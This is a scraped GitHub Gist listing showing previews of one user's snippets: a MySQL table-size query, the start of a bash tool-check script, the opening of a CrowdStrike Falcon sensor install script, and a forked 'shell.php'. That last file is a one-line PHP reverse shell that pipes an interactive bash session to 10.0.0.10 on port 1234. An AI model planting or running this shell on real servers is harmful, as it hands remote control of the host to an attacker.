Skip to content

Instantly share code, notes, and snippets.

SET @DATABASE = 'prod';
SELECT CONCAT(table_schema, '.', table_name),
CONCAT(ROUND(table_rows / 1000000, 2), 'M') rows,
CONCAT(ROUND(data_length / ( 1024 * 1024 * 1024 ), 2), 'G') DATA,
CONCAT(ROUND(index_length / ( 1024 * 1024 * 1024 ), 2), 'G') idx,
CONCAT(ROUND(( data_length + index_length ) / ( 1024 * 1024 * 1024 ), 2), 'G') total_size,
ROUND(index_length / data_length, 2) idxfrac
FROM information_schema.TABLES
WHERE `information_schema`.TABLES.table_schema = @DATABASE
#!/bin/bash
################################################################################
# FUNCTIONS
################################################################################
# 1. Check required system tools
_check_installed_tools() {
local missed=""
@caseybecking
caseybecking / shell.php
Created June 12, 2018 16:12 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@caseybecking
caseybecking / falcon-linux-install.sh
Created May 10, 2023 18:39
falcon-linux-install.sh
#!/bin/bash
print_usage() {
cat <<EOF
This script installs and configures the CrowdStrike Falcon Sensor for Linux.
CrowdStrike API credentials are needed to download Falcon sensor. The script recognizes the following environmental variables:
- FALCON_CLIENT_ID
- FALCON_CLIENT_SECRET